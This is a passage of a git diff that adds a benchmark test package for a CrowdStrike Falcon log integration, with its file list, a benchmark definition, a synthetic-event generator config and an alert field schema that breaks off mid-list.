 ...est-falcon-user-activity.log-expected.json |   76 +
 .../test-falcon-xdr-detection-summary.log     |   74 +
 ...on-xdr-detection-summary.log-expected.json |  190 +
 .../_dev/test/policy/test-default.expected    |   42 +
 .../falcon/_dev/test/policy/test-default.yml  |    9 +
 .../_dev/test/policy/test-streaming.expected  |   61 +
 .../_dev/test/policy/test-streaming.yml       |   10 +
 .../_dev/test/system/test-logfile-config.yml  |    7 +
 .../test/system/test-streaming-config.yml     |   12 +
 .../falcon/agent/stream/log.yml.hbs           |   26 +
 .../ingest_pipeline/auth_activity_audit.yml   |   97 +
 .../ingest_pipeline/cspm_events.yml           |  171 +
 .../ingest_pipeline/customer_ioc_event.yml    |  218 +
 .../data_protection_detection_summary.yml     |  310 ++
 .../elasticsearch/ingest_pipeline/default.yml |  669 +++
 .../ingest_pipeline/detection_summary.yml     |  212 +
 .../ingest_pipeline/epp_detection_summary.yml |  110 +
 .../ingest_pipeline/firewall_match.yml        |  199 +
 .../identity_protection_incident.yml          |  131 +
 .../ingest_pipeline/incident_summary.yml      |   96 +
 .../ingest_pipeline/ipd_detection_summary.yml |  286 ++
 .../mobile_detection_summary.yml              |  123 +
 .../recon_notification_summary.yml            |   94 +
 .../remote_response_session_end.yml           |   71 +
 .../remote_response_session_start.yml         |   71 +
 .../scheduled_report_notification_event.yml   |   70 +
 .../ingest_pipeline/user_activity_audit.yml   |   55 +
 .../ingest_pipeline/xdr_detection_summary.yml |  243 ++
 .../data_stream/falcon/fields/agent.yml       |   33 +
 .../data_stream/falcon/fields/base-fields.yml |   20 +
 .../data_stream/falcon/fields/beats.yml       |    9 +
 .../data_stream/falcon/fields/ecs.yml         |  167 +
 .../data_stream/falcon/fields/fields.yml      |  929 +++++
 .../data_stream/falcon/manifest.yml           |  111 +
 .../data_stream/falcon/sample_event.json      |   84 +
 .../docs/README.md                            | 3601 +++++++++++++++++
 ...-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json |  747 ++++
 ...-63da2573-4e68-4e7d-a06b-6858edb60fd5.json | 1111 +++++
 ...-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json | 1062 +++++
 ...-ad80a080-821b-11ee-bae0-937af575b750.json | 1208 ++++++
 ...-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json | 2506 ++++++++++++
 ...-e64e8fe0-8210-11ee-bae0-937af575b750.json | 1073 +++++
 ...-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json |   50 +
 ...-9b99d190-8214-11ee-bae0-937af575b750.json |  194 +
 ...-a9e7ff80-8212-11ee-bae0-937af575b750.json |   99 +
 .../kibana/tags.yml                           |    4 +
 .../system_benchmark_crowdstrike/manifest.yml |  105 +
 .../validation.yml                            |    7 +
 155 files changed, 38068 insertions(+)
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
new file mode 100644
index 0000000000..82cc41c36f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
@@ -0,0 +1,27 @@
+---
+description: Benchmark 100000 alert events ingested
+input: cel
+deployer: docker
+vars:
+  url: http://{{Hostname}}:{{Port}}
+  client_id: xxxx
+  client_secret: yyyy
+  token_url: http://{{Hostname}}:{{Port}}/oauth2/token
+data_stream:
+  name: alert
+  vars:
+    enable_request_tracer: true
+    preserve_original_event: true
+warmup_time_period: 2s
+corpora:
+  input_service:
+    name: crowdstrike
+  generator:
+    total_events: 1000
+    template:
+      path: ./alert-benchmark/template.ndjson
+      type: gotext
+    config:
+      path: ./alert-benchmark/config.yml
+    fields:
+      path: ./alert-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
new file mode 100644
index 0000000000..f718388107
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
@@ -0,0 +1,105 @@
+fields:
+  - name: timestamp
+    period: -24h
+  - name: agent_id
+    cardinality: 1000
+  - name: alleged_filetype
+    cardinality: 1000
+  - name: cid
+    cardinality: 10
+  - name: comments.falcon_user_id
+    cardinality: 10000
+  - name: confidence
+    range:
+      min: 0
+      max: 100
+    cardinality: 1000
+  - name: device.platform_name
+    enum:
+      - Windows
+      - Linux
+      - Mac
+  - name: device.agent_load_flags
+    enum:
+      - '0'
+      - '1'
+      - '2'
+      - '3'
+  - name: device.platform_id
+    enum:
+      - '0'
+      - '1'
+      - '3'
+  - name: device.device_id
+    cardinality: 10000
+  - name: device.external_ipv6
+    value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888
+  - name: device.local_ipv6
+    value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888
+  - name: device.mac_address
+    value: 00:xx:xx:xx:4D:5E
+  - name: filename
+    cardinality: 10000
+  - name: hostname
+    cardinality: 10000
+  - name: id
+    cardinality: 100000
+  - name: process_end_time
+    value: 1737735358
+  - name: process_start_time
+    value: 1737735358
+  - name: product
+    enum:
+      - cwpp
+      - data-protection
+      - epp
+      - idp
+      - mobile
+      - ngsiem
+      - overwatch
+      - thirdparty
+      - xdr
+  - name: severity_name
+    enum:
+      - Low
+      - Medium
+      - High
+  - name: status
+    enum:
+      - new
+      - in_progress
+      - closed
+      - reopened
+  - name: type
+    enum:
+      - ldt
+      - ods
+      - xdr
+      - ofp
+      - ssd
+      - windows_legacy
+  - name: tree_root
+    cardinality: 100000
+  - name: tree_id
+    cardinality: 100000
+  - name: username
+    cardinality: 10000
+  - name: user_id
+    cardinality: 10000
+  - name: network_accesses.connection_direction
+    enum:
+      - outbound
+      - inbound
+      - neither
+  - name: network_accesses.local_port
+    range:
+      min: 10000
+      max: 95000
+  - name: network_accesses.protocol
+    enum:
+      - TCP
+      - UDP
+  - name: network_accesses.remote_port
+    range:
+      min: 10000
+      max: 95000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
new file mode 100644
index 0000000000..a1fa39ee44
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
@@ -0,0 +1,208 @@
+- name: agent_id
+  type: keyword
+- name: aggregate_id
+  type: keyword
+- name: alleged_filetype
+  type: keyword
+- name: cid
+  type: keyword
+- name: cmdline
+  type: keyword
+- name: comment
+  type: text
+- name: comments
+  type: group
+  fields:
+  - name: falcon_user_id
+    type: keyword
+  - name: timestamp
+    type: date
+  - name: value
+    type: text
+- name: composite_id
+  type: keyword
+- name: confidence
+  type: integer
+- name: control_graph_id
+  type: keyword
+- name: created_timestamp
+  type: date
+- name: description
+  type: text
+- name: device
+  type: group
+  fields:
+  - name: agent_load_flags
+    type: keyword
+  - name: agent_local_time
+    type: date
+  - name: agent_version
+    type: keyword
+  - name: bios_manufacturer
+    type: keyword
+  - name: bios_version
+    type: integer
+  - name: cid
+    type: keyword
+  - name: device_id
+    type: keyword
+  - name: external_ip
+    type: ip
+  - name: external_ipv6
+    type: ip
+  - name: first_seen
+    type: date
+  - name: groups
+    type: keyword
+  - name: hostinfo
+    type: group
+    fields:
+    - name: active_directory_dn_display
+      type: keyword
+    - name: domain
+      type: keyword
+  - name: hostname
+    type: keyword
+  - name: host_hidden_status
+    type: keyword
+  - name: last_seen
+    type: keyword
+  - name: instance_id
+    type: keyword
+  - name: local_ip
+    type: ip
+  - name: local_ipv6
+    type: ip
+  - name: mac_address
+    type: keyword
+  - name: machine_domain
+    type: keyword
+  - name: major_version
+    type: integer
+  - name: minor_version
+    type: integer
+  - name: modified_timestamp
+    type: date
+  - name: os_version
+    type: keyword
+  - name: ou
+    type: keyword
+  - name: platform_id
+    type: keyword
+  - name: platform_name
+    type: keyword
+  - name: pod_id
+    type: keyword
+  - name: pod_labels
+    type: keyword
+  - name: pod_name
+    type: keyword
+  - name: pod_namespace
+    type: keyword
+  - name: pod_service_account_name
+    type: keyword
+  - name: product_type
+    type: keyword
+  - name: product_type_desc
+    type: keyword
+  - name: service_provider
+    type: keyword
+  - name: service_provider_account_id
+    type: keyword
+  - name: site_name
+    type: keyword
+  - name: system_manufacturer
+    type: keyword
+  - name: system_product_name
+    type: keyword
+  - name: tags
+    type: keyword
+- name: display_name
+  type: keyword
+- name: falcon_host_link
+  type: keyword
+- name: filename
+  type: keyword
+- name: filepath
+  type: keyword
+- name: hostname
+  type: keyword
+- name: id
+  type: keyword
+- name: ioc_source
+  type: keyword
+- name: ioc_type
+  type: keyword
+- name: ioc_value
+  type: keyword
+- name: md5
+  type: keyword
+- name: network_accesses
+  type: group
+  fields:
+  - name: access_type
+    type: integer
+  - name: connection_direction
+    type: keyword
+  - name: isIPV6
+    type: boolean
+  - name: local_address
+    type: ip
+  - name: local_port
+    type: integer
+  - name: protocol
+    type: keyword
+  - name: remote_address
+    type: ip
+  - name: remote_port
+    type: integer
+- name: objective
+  type: keyword
+- name: parent_process_id
+  type: integer
+- name: pattern_id
+  type: integer
+- name: process_end_time
+  type: date
+- name: process_id
+  type: integer
+- name: process_start_time
+  type: date
+- name: product
+  type: keyword
+- name: scenario
+  type: keyword
+- name: severity
+  type: integer
+- name: severity_name
+  type: keyword
+- name: sha256
+  type: keyword
+- name: show_in_ui
+  type: boolean
+- name: status
+  type: keyword
+- name: tactic
+  type: keyword
+- name: tactic_id
+  type: keyword
+- name: technique
+  type: keyword
+- name: technique_id
+  type: keyword
+- name: timestamp
+  type: date
+- name: tree_id
+  type: keyword
+- name: tree_root
+  type: integer
+- name: triggering_process_graph_id
